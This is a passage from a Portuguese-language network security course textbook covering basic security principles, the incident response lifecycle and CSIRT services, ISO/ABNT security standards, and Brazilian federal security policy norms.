ou distribuído pelo autor a quem se atribui. 
 1 Legalidade: garantia de que ações sejam realizadas em conformidade com os preceitos 
legais vigentes e que seus produtos tenham validade jurídica.
 1 Não repúdio: conceito muito utilizado quando tratamos de certificação digital, onde o 
emissor de uma mensagem não pode negar que a enviou. As tecnologias de certificação 
digital e assinatura digital são exemplos que propiciam essa condição.
 1 Privacidade: conceito amplo, que expressa a habilidade de um indivíduo em controlar a 
exposição e a disponibilidade de informações acerca de si. Com o crescimento dos meca-
nismos de busca, bancos de dados e informações publicadas na internet e redes sociais, 
esse conceito tem sido muito discutido em fóruns específicos. Um exercício interessante 
que o aluno pode realizar é buscar o seu próprio nome no site de buscas do Google. 
É comum nos referirmos a esse conjunto de conceitos básicos como CID ou CIDAL, 
que corresponde às iniciais de alguns dos conceitos apresentados. A sigla DICA ainda 
é usada em referência aos quatro primeiros conceitos.
Além dos conceitos apresentados acima, o livro Building Internet Firewalls, de Elizabeth D. 
Zwicky, Simon Cooper e D. Brent Chapman (editora O’Reilly), define ainda outros conceitos, 
denominados de estratégias de segurança. 
5
 
C
ap
ítu
lo
 1
 - 
Fu
nd
am
en
to
s 
de
 s
eg
ur
an
ça
q 1 Least Privilege (Menor Privilégio).
 1 Defense in Depth (Defesa em Profundidade).
 1 Choke Point (Ponto Único).
 1 Default Deny & default Permit Stance (Atitude de Bloqueio Padrão e Permissão Padrão).
 1 Universal Participation (Participação Universal).
 1 Diversity of Defense (Diversidade de Defesa).
 1 Inherent Weakness (Fraquezas Inerentes).
 1 Common configuration(Configuração Comum).
 1 Common Heritage (Herança Comum).
 1 Weakest Link (Elo mais Fraco).
 1 Fail Safe (Falha Segura).
 1 Simplicity (Simplicidade).
Esses conceitos são muito importantes, e o profissional de segurança deve sempre tê-los em 
mente no seu dia a dia:
 1 Least Privilege (Menor Privilégio): cada objeto deve ter apenas os privilégios mínimos 
para executar suas tarefas, e nenhum outro. Apesar de muito importante, é difícil aplicar 
esse conceito, pois muitas vezes ele envolve uma série de ajustes e um mínimo erro 
pode fazer com que o recurso pare de funcionar. Como exemplo, podemos citar um 
servidor web. Executar o processo do servidor como o usuário administrador provavel-
mente fornecerá uma série de privilégios desnecessários a ele. Nesse caso, convém criar 
um usuário específico (ex: httpd) e definir as permissões mínimas para que o serviço 
funcione. Por exemplo: permissão de leitura na pasta onde ficam as páginas HTML e per-
missão de leitura e gravação na pasta onde ficam os registros de acesso. 
 1 Defense In Depth (Defesa em Profundidade): não depender de um único mecanismo 
de segurança, independente do quão forte ele possa parecer. Não existe nenhum meca-
nismo 100% seguro, então qualquer mecanismo pode ser subvertido. Colocar defesas 
redundantes pode ser uma boa estratégia, pois um atacante, ao passar por suas defesas 
mais externas, ainda terá outras camadas de defesa para ultrapassar antes de compro-
meter o sistema como um todo. 
 1 Choke Point (Ponto Único): canal estreito por onde os atacantes são forçados a passar, 
que pode ser monitorado e controlado. Exemplos: praça de pedágio em uma estrada, 
caixa de supermercado. Esse é o princípio utilizado pelos firewalls. 
 1 Default Deny e Default Permit Stance (Atitude de Bloqueio Padrão e Permissão Padrão): 
atitude geral em relação à segurança. Na primeira (mais segura), tudo é proibido e o que é 
permitido deve ser expressamente definido. Na segunda, tudo é permitido e o que é proibido 
deve ser definido. Em sistemas seguros, deve-se buscar sempre a primeira atitude (Default 
Deny), apesar de nem sempre ser possível. Para o caso do acesso à internet por um nave-
gador, seria viável bloquear toda a internet e liberar apenas o que é permitido?
 1 Universal Participation (Participação Universal): todos devem participar do processo 
de segurança. Uma única pessoa que não participa do processo pode comprometer todo 
o sistema. É importante lembrar que a segurança envolve pessoas, e que elas devem 
estar envolvidas, motivadas e participando do processo. 
 1 Diversity of Defense (Diversidade de Defesa): utilizar diferentes sistemas e formas de 
defesa, de modo que uma vulnerabilidade em um sistema pode não estar presente em outros. 
Um certo cuidado deve ser tomado para não recair em um dos problemas listados a seguir.
6
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
 1 Inherent Weaknesses (Fraquezas Inerentes): sistemas de um mesmo tipo podem 
sofrer da mesma fraqueza inerente a esse tipo de sistema. Exemplos: falha de conceito 
ou falha de um protocolo com implementação comum.
 1 Common Configuration (Configuração Comum): sistemas diferentes configurados por 
uma mesma pessoa ou grupo podem sofrer de problemas semelhantes de configuração. 
 1 Common Heritage (Herança Comum): sistemas de fabricantes diferentes podem usar 
componentes comuns e consequentemente terem as mesmas falhas.
 1 Weakest Link (Elo Mais Fraco): corresponde ao ponto mais fraco das suas defesas. As 
suas defesas são tão fortes quanto o ponto mais fraco. Este deve ser eliminado quando 
possível, ou ser forte o suficiente para desencorajar ataques. Muitos atacantes vão pro-
curar o ponto mais fraco da sua rede, tentando atacar a rede a partir dele. Pontos fracos 
da rede devem ser constantemente monitorados quando não puderem ser eliminados.
 1 Fail Safe (Falha Segura): os sistemas, em caso de falha, devem sempre fazê-lo de modo 
a inibir qualquer tipo de acesso. O prejuízo da falta de acesso é preferível ao acesso libe-
rado de forma irrestrita em caso de falha. 
 1 Simplicity (Simplicidade): manter o ambiente simples. A complexidade esconde poten-
ciais problemas de segurança. Interfaces gráficas, gerenciadores centralizados e sistemas 
com configurações simples são alguns exemplos desse princípio. Porém, deve-se tomar 
cuidado com o excesso de simplicidade. Um simples botão na ferramenta com os dizeres 
“torne meu sistema seguro” pode não ser adequado. Os sistemas devem ter um mínimo 
de parametrização, pois cada ambiente possui suas peculiaridades.
Exercício de fixação 1 e 
Conceitos
Explique com suas palavras o que é Defesa em Profundidade e como ela pode ser aplicada 
em sua organização.
O que é o Elo mais Fraco? Dê um exemplo nasua organização.
Processo de Tratamento de Resposta a Incidentes
De acordo com o Cert.br, um incidente de segurança pode ser definido como qualquer 
evento adverso, confirmado ou sob suspeita, relacionado à segurança de sistemas de com-
putação ou de redes de computadores. Em geral, toda situação na qual uma entidade de 
informação corre riscos pode ser considerada um incidente de segurança. No entanto, cada 
organização deve definir o que, em relação aos seus sistemas, para ela pode vir a ser um 
incidente de segurança. Em alguns casos, organizações podem classificar como incidentes 
de segurança qualquer ato que possa não estar em conformidade com a política de segu-
rança adotada pela instituição.
7
 
C
ap
ítu
lo
 1
 - 
Fu
nd
am
en
to
s 
de
 s
eg
ur
an
ça
Todo incidente ocorrido na organização deve ser tratado de acordo com uma metodologia 
definida previamente. Assim, para atender ao processo de resposta a incidentes de segu-
rança a organização deve elaborar uma metodologia visando gerenciar consequências de uma 
quebra de segurança. Seu principal objetivo é minimizar o impacto causado por um incidente 
e possibilitar o restabelecimento dos serviços no mais curto espaço de tempo possível.
O fenômeno de ataques na internet não é um fato novo: no fim da década de 80 o incidente 
conhecido como “Internet Worm” resultou em um incidente que paralisou centenas de 
sistemas na internet. Após esse problema, alguns grupos se reuniram para discutir os rumos 
da segurança na internet. Essa reunião resultou, mais tarde, na criação do CERT Coordination 
Center (Center of Emergency Response Team). Um Centro de Resposta a Incidentes, o CERT foi 
uma das primeiras organizações do tipo CSIRT (Computer Security Incident Response Team).
Com o crescimento da internet, em meados de 1996, esses ataques provocam prejuízos que 
vão desde a perda de milhares de dólares até o que ocorreu há alguns anos na Europa, onde de 
acordo com a agência de notícias Reuters, a internet em um país parou de funcionar após ataques.
Conforme informado pela IFCC (Internet Fraud Complaint Center ), uma parceria entre o FBI 
e o Centro Nacional de Crimes do Colarinho Branco dos Estados Unidos, entre maio de 2000 
e maio de 2001, em seu primeiro ano de funcionamento, foram registrados 30.503 casos de 
fraudes na internet, registros colhidos apenas no site da IFCC.
Segundo o Cert.br, um CSIRT, ou Grupo de Resposta a Incidentes de Segurança, é uma orga-
nização responsável por receber, analisar e responder a notificações e atividades relacio-
nadas a incidentes de segurança em computadores. Normalmente, um grupo de resposta 
a incidentes pode ser um grupo dentro da própria instituição trabalhando exclusivamente 
para a resposta a incidentes dos serviços prestados pela empresa ou pode trabalhar na 
forma de comunidade, auxiliando várias instituições e produzindo estatísticas e relatórios 
que beneficiam todo um grupo ou mesmo um país (Cert.br 2007).
Um CSIRT pode agir de várias maneiras dentro da empresa, de acordo com a importância de 
seus serviços. Um grupo pode estar ligado diretamente à alta administração da empresa, 
de maneira que possa intervir e alterar os processos da instituição, mas também pode agir 
apenas como orientador de processos, não estando diretamente envolvido com a tomada 
de decisões de segurança (CSIRT Handbook 2003).
Ataques a sistemas computacionais visam comprometer os requisitos de segurança de 
uma organização. Esses ataques têm dois tipos de perfil: ativo, onde o atacante faz alguma 
ação para obter o resultado esperado, e passivo, onde o atacante utiliza-se de ferramentas 
para obter os dados referentes ao alvo. De acordo com o Cert.br, um CSIRT pode exercer 
tanto funções reativas quanto funções proativas para auxiliar na proteção e segurança dos 
recursos críticos de uma organização. Não existe um conjunto padronizado de funções ou 
serviços providos por um CSIRT. Cada time escolhe seus serviços com base nas necessi-
dades da sua organização e da comunidade a quem ele atende.
Ciclo de vida de um incidente
q 1 Estágio 1 – Preparação dos Processos.
 1 Estágio 2 – Gerenciamento de riscos.
 1 Estágio 3 – Triagem.
 1 Estágio 4 – Resposta a incidentes.
8
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
A segurança de uma organização sempre estará sujeita a incidentes, como todas as outras 
áreas. Os fatores são os mais diversos, desde ameaças não intencionais causadas por usuá-
rios comuns até ameaças técnicas organizadas. Para uma organização é de vital importância 
que os incidentes sejam tratados corretamente, e para isso se faz necessário entender como 
funciona o ciclo de vida de um incidente.
De acordo com o Instituto de Engenharia de Software da Carnegie Mellon University, 
responsável pelo Cert.org, podemos classificar o ciclo de vida de um incidente em quatro 
estágios (CSIRT Handbook 2003), conforme veremos a seguir.
Estágio 1 – Preparação dos processos
O início do ciclo de vida de um incidente começa antes do próprio incidente. É necessária a 
elaboração de processos e procedimentos para a correta ação empregada contra ameaças e 
vulnerabilidades possíveis à organização. É importante que todos os processos empregados 
sejam testados e aperfeiçoados. Esses processos têm por finalidade o correto emprego dos 
recursos para a resposta a incidentes.
Estágio 2 – Gerenciamento de riscos
Por meio de ações corretivas e preventivas de ameaças existentes, pois estas são um fator 
intrínseco dentro de uma organização. O gerenciamento de riscos é muito importante e 
deve ser um processo contínuo dentro de uma organização, desenvolvendo medidas de 
segurança e calculando seu impacto para cada uma das etapas de um ciclo de incidentes.
Estágio 3 – Triagem
O método de recepção de todo e qualquer indício de incidente é de suma importância, pois 
é com uma correta triagem da informação que se inicia todo o processo de catalogação e 
resposta ao incidente. Os grupos de resposta a incidentes comumente informam apenas um 
meio de contato ou “hotline”, seja para um grupo de resposta de âmbito nacional, privado 
ou mesmo dentro da organização. Essa triagem é importante para a aplicação correta do 
controle de segurança da informação impactado pelo incidente. Normalmente, esse con-
trole também é atribuído a um gerente de incidente, profissional especializado no problema 
que estará à frente do incidente até a sua resolução.
Estágio 4 – Resposta a incidentes
Quando um incidente já passou pela triagem, ele é submetido ao plano de resposta a 
incidentes da organização. Nesse ponto, atividades anômalas são facilmente detectadas e a 
adoção de medidas apropriadas pode rapidamente identificar sistemas afetados, dimensio-
nando o montante do prejuízo.
Grupos de resposta a incidentes
qPrevenção:
 1 Auditoria de segurança.
 1 Treinamento e orientação a usuários.
 1 Disseminação de informação relacionada à segurança.
 1 Monitoração de novas tecnologias.
9
 
C
ap
ítu
lo
 1
 - 
Fu
nd
am
en
to
s 
de
 s
eg
ur
an
ça
qResposta:
 1 Tratamento de incidentes.
 1 Tratamento de vulnerabilidades.
 1 Qualidade de serviços de segurança.
 1 Consultoria em segurança.
 1 Análise de riscos.
 1 Planejamento e recuperação de desastres.
O maior desafio para os profissionais de segurança dos dias atuais é a gestão de uma 
complexa infraestrutura de comunicação de dados da internet, seu gerenciamento e 
manutenção. Na maioria das organizações, as equipes de profissionais em rede não contam 
com pessoal em quantidade suficiente para atender à demanda crescente de otimização de 
sistemas, atualização incessante de programas para minimizarriscos e defender-se contra 
ataques dos mais variados tipos. Esse cenário se torna pior à medida que surgem novas 
ferramentas de ataques, malwares, toolkits e a crescente organização de grupos que visam 
à paralisação e o roubo de dados na rede mundial de computadores.Nesse contexto, e para 
atender à necessidade de resposta a incidentes, surgem os grupos de resposta a incidentes, 
cujo objetivo é responder de maneira rápida e efetiva a essas ameaças. Esse grupo tem 
como objetivo desenvolver meios para identificar, analisar e responder a incidentes que 
venham a ocorrer, minimizando prejuízos e reduzindo seus custos de recuperação.
Os grupos de resposta a incidentes geralmente trabalham em duas frentes, prevenção e resposta.
Prevenção
Caracterizam-se como serviços proativos os serviços onde o grupo procura se antecipar aos 
problemas de maneira a preveni-los, gerando uma base de conhecimento para futura pes-
quisa. Dentre as principais atividades de prevenção destacam-se a auditoria de segurança e 
o treinamento e orientação a usuários.
Auditoria de segurança
A auditoria de segurança dentro de uma empresa visa submeter seus ativos a uma análise 
de segurança com base nos requisitos definidos pela organização ou por normas internacio-
nais. Também pode implicar na revisão das práticas organizacionais da empresa bem como 
testes em toda a sua infraestrutura. Nos dois últimos módulos deste treinamento, será 
abordado o processo de hardening para servidores Linux e Windows. Uma vez aprovado um 
processo de hardening, este pode ser utilizado para auditar a segurança de um ambiente, já 
que nesse documento encontra-se a configuração mínima recomendada para um ativo.
Treinamento e orientação a usuários
Uma das funções de um CSIRT também é a promoção de palestras e workshops sobre segu-
rança dentro de uma organização. Essas palestras têm o intuito de informar aos usuários as 
políticas de seguranças vigentes e como se proteger de vários ataques, principalmente de 
engenharia reversa.
Disseminação de informação relacionada à segurança
A disseminação de informação é primordial para o sucesso de um grupo de resposta a 
incidentes. Essa disseminação pode ocorrer tanto dentro da organização, através de docu-
mentos e boletins internos, como com a confecção de artigos para distribuição para outros 
órgãos externos à empresa.
10
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Monitoração de novas tecnologias
Um Grupo de Resposta a Incidentes monitora novos desenvolvimentos técnicos de ataques 
para ajudar a identificar novas tendências de futuras ameaças. Esse serviço envolve a leitura 
de fóruns e listas de discussão, sites e revistas especializadas. 
Resposta
Os serviços reativos englobam atividades que são realizadas após algum evento ou requi-
sição dentro da organização. Baseiam-se em análises de logs e produção de relatórios em 
função de alguma detecção de atividade maliciosa. Dentre as principais atividades de res-
posta a incidentes, podemos destacar as seguintes.
Tratamento de incidentes
Segundo Chuvakin e Peikari, autores do livro Security Warrior, uma reposta a incidente é um 
processo de identificação, contenção, erradicação e recuperação de um incidente de compu-
tador, realizado pelo time de segurança responsável.
O tratamento de incidentes é a principal atividade de um time de resposta a incidentes. São os 
incidentes que vão gerar todo o processo de identificação, classificação e tomada de decisão sobre 
quais procedimentos tomar para sanar o problema, quantas vezes o problema foi constatado 
dentro de um período, qual o impacto causado pelo incidente e se este obteve ou não sucesso.
Tratamento de vulnerabilidades
O tratamento de vulnerabilidades visa submeter os sistemas a uma auditoria a fim de saber 
quais suas fraquezas e como preveni-las através de mitigação de alguns serviços.
Essa metodologia está diretamente ligada à criação do plano de continuidade de negócios 
dentro de uma organização, pois, através das avaliações feitas, é possível fazer uma análise 
de risco e impacto para as vulnerabilidades encontradas.
Qualidade de serviços de segurança
A qualidade dos serviços de segurança proporciona aumento na experiência adquirida na 
prestação de serviços proativos e reativos descritos acima. Esses serviços são concebidos 
para incorporar os feedbacks e as lições aprendidas com base no conhecimento adquirido 
por responder a incidentes, vulnerabilidades e ataques.
Parte de um processo de gestão da qualidade da segurança pode melhorar a segurança a 
longo prazo, gerando base dados de incidentes e suas propostas para solução.
Consultoria em segurança
Um CSIRT pode ser utilizado para fornecer aconselhamento sobre as melhores práticas de 
segurança, principalmente dentro de um ambiente militar. Esse serviço pode ser utilizado na 
preparação de recomendações ou identificando requisitos para a aquisição, instalação ou 
obtenção de novos sistemas, dispositivos de rede, aplicações de software ou criação de pro-
cessos. Esse serviço inclui proporcionar orientação e ajuda no desenvolvimento organiza-
cional ou no círculo de políticas de segurança. Ele pode também envolver o aconselhamento 
às normas legais legislativas ou de outros órgãos governamentais.
11
 
C
ap
ítu
lo
 1
 - 
Fu
nd
am
en
to
s 
de
 s
eg
ur
an
ça
Análise de riscos
Um Grupo de Resposta a Incidentes pode ser capaz de acrescentar valor à análise de risco 
e avaliações. Isso pode melhorar a capacidade da organização para avaliar ameaças reais, 
fornecer avaliações qualitativas e quantitativas dos riscos para os ativos da organização e 
avaliar estratégias para melhor defesa.
Planejamento e recuperação de desastres
Com base em ocorrências anteriores e futuras previsões de tendências emergentes de inci-
dentes de segurança, pode-se afirmar que quanto mais os sistemas de informação evoluem, 
mais aumenta a chance de acontecer um incidente. Por isso, o planejamento deve consi-
derar os esforços e experiências passadas de um CSIRT.
Recomendações para determinar a melhor forma de responder a esses incidentes para 
garantir a continuidade das operações comerciais devem ser uma prioridade para a orga-
nização. Grupos realizando esse serviço estão envolvidos em continuidade de negócios e 
recuperação de desastres, planejamento de eventos relacionados com a segurança informá-
tica e ameaças ataques.
Fonte: CAIS RNP
Exercício de fixação 2 e 
Processo de tratamento de incidentes
Explique os estágios do ciclo de vida de um incidente.
Exercício de fixação 3 e 
Grupo de resposta a incidentes
O que é prevenção e como ela é feita na sua organização?
Normas ISO/ABNT
qHistórico: BSI e ISO
 1 ABNT NBR ISO/IEC 27001:2006 (SGSI) – passível de certificação.
 1 ABNT NBR ISO/IEC 27002:2005 (código de prática).
 1 ABNT NBR ISO/IEC 27005:2008 (gestão de riscos).
 1 ABNT NBR ISO/IEC 27011:2009 (telecomunicações).
Um dos primeiros documentos criados para fins de normatização em meios computacionais 
foi o Security Control for Computers Systems, publicado em 11 de fevereiro de 1970 pela 
RAND Corporation, uma empresa norte-americana sem fins lucrativos especializada em asses-
soria de investigação e análise, fundada em 1948, marcou o início da criação de um conjunto 
12
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
de regras para a segurança de computadores. Mais tarde, o DoD (Departamento de Defesa 
dos Estados Unidos) publicou o Orange Book, conhecido também como Trusted Computer 
Evalution Criteria. Publicado inicialmente em 1978, em forma de um rascunho, foi finalizado 
em 1985. O Orange Book, mesmo sendo um documento já ultrapassado,marcou o início da 
busca por um conjunto de regras para a avaliação de um ambiente computacional seguro.
Em 1987, o DTI (Departamento de Comércio e Indústria do Reino Unido) criou um centro 
de segurança de informações, que, entre suas atribuições, estava a de criar uma norma de 
segurança das informações do Reino Unido. Até 1988, vários documentos foram publicados. 
Em 1995, esse centro, denominado Commercial Computer Security Centre (CCSC), juntamente 
com o grupo britânico BSI, lança o BS7799:1995, Gestão de Segurança da Informação. Código 
de prática para sistemas de informação de gestão de segurança, essa norma é divida em duas 
partes: uma homologada em 2000 e, a outra, em 2002. É a base para a gestão de segurança 
da informação usada por entidades de metodologia de gestão da segurança da informação 
focada nos princípios básicos da segurança: Confidencialidade, Integridade e Disponibilidade.
Em dezembro de 2000, a ISO (International Organization of Standadization ) internaciona-
lizou a norma BS17799, criando a ISO/IEC 17799:2000, uma norma abrangente e interna-
cional voltada para a gestão de segurança da informação.
O objetivo dessa norma era criar um conjunto de regras para assegurar a continuidade do 
negócio e minimizar prejuízos empresariais, reduzindo o impacto causado por incidentes de 
segurança. As normas da ISO baseadas em segurança da informação foram atualizadas e 
agrupadas na família de numeração 27000.
A ABNT (Associação Brasileira de Normas Técnicas ) publicou uma série de normas baseadas 
na ISO, traduzidas para o português.
 1 ABNT NBR ISO/IEC 27001:2006 – Tecnologia da Informação – Técnicas de segurança – 
Sistema de gestão da segurança da informação – Requisitos. Versão atual da BS7799 
parte 2. Essa norma especifica os requisitos para estabelecer, implementar, operar, 
monitorar, analisar criticamente, manter e melhorar um Sistema de Gestão da Segurança 
da Informação (SGSI) documentado dentro do contexto dos riscos de negócio globais da 
organização. Essa norma especifica requisitos para implementar os controles de segu-
rança personalizados para as necessidades individuais de organizações ou suas partes.
 1 ABNT NBR ISO/IEC 27002:2005 – Tecnologia da Informação – Técnicas de segurança –
Código de prática para a gestão de segurança da informação. Versão atual da ISO/IEC 
17799. Essa norma estabelece diretrizes e princípios gerais para iniciar, implementar, 
manter e melhorar a gestão de segurança da informação em uma organização. Os obje-
tivos definidos nessa norma proveem diretrizes gerais sobre as metas geralmente aceitas 
para a gestão de segurança da informação.
 1 ABNT NBR ISO/IEC 27003:2010 – Tecnologia da Informação – Técnicas de segurança – 
Diretrizes para implantação de um sistema de gestão da segurança da informação. Essa 
norma foca os aspectos críticos necessários para a implantação e o projeto bem-sucedido 
de um Sistema de Gestão da Segurança da Informação (SGSI), de acordo com a norma 
ABNT NBR ISO/IEC 27001:2006. A norma descreve o processo de especificação e projeto 
do SGSI desde a sua concepção até a elaboração dos planos de implantação. Ela descreve 
o processo de obtenção de aprovação da direção para implementar um SGSI e fornece 
diretrizes sobre como planejar o projeto do SGSI.
13
 
C
ap
ítu
lo
 1
 - 
Fu
nd
am
en
to
s 
de
 s
eg
ur
an
ça
 1 ABNT NBR ISO/IEC 27005:2008 – Tecnologia da Informação – Técnicas de segurança – Gestão 
de riscos de segurança da informação. Essa norma fornece diretrizes para o processo de 
gestão de riscos e segurança da informação. Norma criada para apoiar o entendimento das 
especificações e conceitos estabelecidos pela norma ABNT NBR ISO/IEC 27001:2006.
Para aqueles que desejarem mais informação sobre esse assunto, logo abaixo são listadas 
as principais normas sobre segurança da informação:
 1 ISO/IEC 27000: Information security management systems – Overview and vocabulary. 
 1 ISO/IEC 27003: Information security management system implementation guidance. 
 1 ISO/IEC 27004: Information security management measurements. 
 1 ISO/IEC 27006: Requirements for bodies providing audit and certification of information 
security management systems. 
 1 ISO/IEC 9797-1: Message Authentication Codes (MACs) – Part 1: Mechanisms using 
a block cipher. 
 1 ISO/IEC 9798-1: Entity authentication – Part 1: General. 
 1 ISO/IEC 9979: Procedures for the registration of cryptographic algorithms. 
 1 ISO/IEC 10118-1: Hashfunctions – Part 1: General. 
 1 ISO/IEC 11770-1: Key management – Part 1: Framework. 
 1 ISO/IEC 15846-1: Cryptographic techniques based on elliptic curves – Part 1: General. 
 1 ISO/IEC 18033-3: Encryption algorithms – Part 3: Block ciphers. 
 1 ISO/IEC 15408-1: Evaluation criteria for IT security – Part 1: Introduction and general model. 
 1 ISO/IEC 15408-2: Evaluation criteria for IT security – Part 2: Security functional. 
 1 ISO/IEC 15408-3: Evaluation criteria for IT security – Part 3: Security assurance. 
 1 ISO/IEC 15443-1: A framework for IT Security assurance – Part 1: Overview and framework. 
 1 ISO/IEC 15443-2: A framework for IT Security assurance – Part 2: Assurance Methods. 
 1 ISO/IEC 15443-3: A framework for IT Security assurance – Part 2: Analysis of Assurance Methods. 
 1 ISO/IEC 18045: A framework for IT Security assurance – Methodology for IT Security Evaluation. 
 1 ISO/IEC 18043: Selection, deployment and operations of intrusion detection systems. 
 1 ISO/IEC 18044: Information security incident management. 
 1 ISO/IEC 24762: Guidelines for information and communications technology disaster 
recovery services. 
 1 ISO/IEC 27033-1: Network Security – Part 1: Guidelines for network security. 
 1 ISO/IEC 27034-1: Guidelines for Application Security – Part 1: Overview and Concepts. 
 1 ISO/IEC 24760: A framework for identity management.
 1 ISO/IEC 29100: A privacy framework. 
 1 ISO/IEC 29101: A privacy reference architecture. 
 1 ISO/IEC 29115: Entity authentication assurance.
Políticas de segurança
A Política de Segurança da Informação e Comunicações (POSIC) é o documento mais impor-
tante de uma organização quando se trata de Segurança da Informação. Nela estão todas as 
diretrizes, recomendações e deveres de todos. O profissional de segurança deve conhecer 
bem a política de segurança da sua instituição e deve balizar todo o trabalho em cima dela. 
14
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
qOutras políticas associadas à POSIC tratam de assuntos mais específicos, como por exemplo:
 1 Política de Uso Aceitável (PUA).
 1 Política de Controle de Acesso (PCA).
 1 Plano de Continuidade de Negócio (PCN).
 1 Política de senhas.Política de Salvaguarda (backup).
Esse assunto não faz parte diretamente do escopo deste curso, porém é importante 
conhecer todas as políticas e legislações do órgão em que se está implantando uma solução 
de segurança, pois elas podem impactar diretamente no que pode ou não ser feito, nas 
punições para o descumprimento da política e nos responsáveis pelas informações e 
recursos computacionais. A norma ABNT NBR ISO/IEC 27001 possui um capítulo inteira-
mente dedicado às políticas de segurança. 
No âmbito do Governo Federal, o Gabinete de Segurança Institucional (GSI) da Presidência 
da República, através do Departamento de Segurança da Informação e Comunicações, 
publicou uma série de instruções normativas com o objetivo de orientar a administração 
pública em diversas questões da Segurança da Informação. 
qNormas DSIC/GSIPR:
 1 Norma Complementar nº 01/IN01/DSIC/GSIPR: Atividade de Normatização.
 1 Norma Complementar nº 02/IN01/DSIC/GSIPR: Metodologia de Gestão de Segurança 
da Informação e Comunicações.1 Norma Complementar nº 03/IN01/DSIC/GSIPR: Diretrizes para a Elaboração de Política 
de Segurança da Informação e Comunicações nos Órgãos e Entidades da Adminis-
tração Pública Federal.
 1 Norma Complementar nº 04/IN01/DSIC/GSIPR e seu anexo, Diretrizes para o Processo 
de Gestão de Riscos de Segurança da Informação e Comunicações (GRSIC) nos órgãos 
e entidades da Administração Pública Federal.
 1 Norma Complementar nº 05/IN01/DSIC/GSIPR e seu anexo, Disciplina e Criação de 
Equipes de Tratamento e Respostas a Incidentes em Redes Computacionais (ETIR) nos 
órgãos e entidades da Administração Pública Federal.
 1 Norma Complementar nº 06/IN01/DSIC/GSIPR: Diretrizes para a Gestão de Continui-
dade de Negócios, nos aspectos relacionados à Segurança da Informação e Comunica-
ções, nos órgãos e entidades da Administração Pública Federal, direta e indireta (APF).
Em especial foi publicada a Instrução Normativa IN01-GSI/PR, que define orientações para 
a Gestão de Segurança da Informação e Comunicações na Administração Pública Federal, e 
algumas Normas Complementares:
 1 Norma Complementar nº 01/IN01/DSIC/GSIPR: atividade de normatização, que tem 
como objetivo estabelecer critérios e procedimentos para a elaboração, atualização, alte-
ração, aprovação e publicação de normas complementares sobre gestão de segurança da 
informação e comunicações, no âmbito da Administração Pública Federal.
 1 Norma Complementar nº 02/IN01/DSIC/GSIPR: metodologia de Gestão de Segurança 
da Informação e Comunicações utilizada pelos órgãos e entidades da Administração 
Pública Federal.
Para aqueles que 
desejarem continuar 
seus estudos em 
políticas de segurança, 
visto que não é o 
objetivo principal deste 
curso, o instituto SANS 
(sans.org) oferece um 
modelo padrão de 
política de segurança 
que poderá ser 
adaptado e utilizado 
em qualquer ambiente 
computacional. 
w
15
 
C
ap
ítu
lo
 1
 - 
Fu
nd
am
en
to
s 
de
 s
eg
ur
an
ça
 1 Norma Complementar nº 03/IN01/DSIC/GSIPR: estabelece diretrizes, critérios e proce-
dimentos para a elaboração, institucionalização, divulgação e atualização da Política de 
Segurança da Informação e Comunicações (POSIC) nos órgãos e entidades da Adminis-
tração Pública Federal.
 1 Norma Complementar nº 04/IN01/DSIC/GSIPR: estabelece diretrizes para o processo 
de Gestão de Riscos de Segurança da Informação e Comunicações (GRSIC) considerando 
prioritariamente os objetivos estratégicos, os processos e requisitos legais e a estrutura 
dos órgãos ou entidades da Administração Pública Federal.
 1 Norma Complementar nº 06/IN01/DSIC/GSIPR: estabelece diretrizes para Gestão da 
Continuidade de Negócios, nos aspectos relacionados à Segurança da Informação e 
Comunicações, nos órgãos e entidades da Administração Pública Federal.
 1 Norma Complementar nº 07/IN01/DSIC/GSIPR: estabelece diretrizes para implemen-
tação de controles de acesso relativos à Segurança da Informação e Comunicações, 
abrangendo a criação de contas de usuários, rede corporativa de computadores e ativos 
de informação. Essa norma contempla inclusive um anexo com um modelo de termo de 
responsabilidade a ser utilizado pelos utilizadores dos meios computacionais da entidade.
 1 Norma Complementar nº 08/IN01/DSIC/GSIPR: disciplina o gerenciamento de Inci-
dentes de Segurança em Redes de Computadores realizado pelas equipes de Tratamento 
e Resposta a Incidentes de Segurança em Redes Computacionais (ETIR) nos órgãos e 
entidades da APF (Administração Pública Federal).
 1 Norma Complementar nº 09/IN01/DSIC/GSIPR: estabelece orientações para o uso 
de recursos criptográficos como ferramenta de controle de acesso em Segurança da 
Informação e Comunicações, nos órgãos ou entidades da Administração Pública Federal, 
informando principalmente as responsabilidades tanto dos gestores de Segurança da 
Informação quanto do agente público que utilize esse recurso.
Mesmo para empresas privadas ou outras entidades, as normas podem servir como um bom 
embasamento para a criação da política de segurança, do grupo de resposta a incidentes de 
segurança ou do processo de gestão de riscos. Para a comodidade do aluno, o item 6 consta a 
NC 03, que trata de diretrizes para a elaboração de uma política de segurança (POSIC).
É possível encontrar na web diversas políticas de segurança completas publicadas por 
órgãos públicos brasileiros. Um exemplo seria a Portaria/Incra/P/N° 70, de 29/03/2006 (DOU 
nº 62, de 30 de março de 2006).
Exercício de fixação 4 e 
Políticas de segurança
O que é política de segurança? Ela existe na sua organização?
As normas do DSIC/
GSIPR são públicas e 
podem ser obtidas no 
site do DSIC: 
http://dsic.planalto.gov.br/ 
w
16
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Planejando uma rede segura
q 1 Visão geral.
 1 Execução em etapas.
 1 Documento de planejamento:
 2 Prazos.
 2 Validação e aprovação.
 1 Execução.
A etapa de planejamento é talvez a mais importante na construção de um ambiente de rede 
seguro ou na adição de segurança a um ambiente existente. Nessa etapa o profissional vai 
obter uma visão geral do que está sendo pretendido, além de dividir a execução em etapas 
bem definidas. Recomenda-se que seja elaborado um documento com a descrição de tudo 
o que será executado, incluindo prazos, de modo que esse documento seja validado e apro-
vado antes de se iniciar a etapa de execução. 
No planejamento, deve ser definida uma série de questões, como por exemplo:
 1 Topologia da rede em questão.
 1 Servidores e serviços públicos na internet.
 1 Servidores e serviços na intranet.
 1 Interligação com outras instituições e redes, como extranet.
 1 Acesso remoto.
 1 Tecnologias de segurança.
 1 Mecanismos de proteção da rede.
 1 Salvaguarda de informações.
O ISECOM (Institute for Security and Open Methodologies), Instituto para Segurança e 
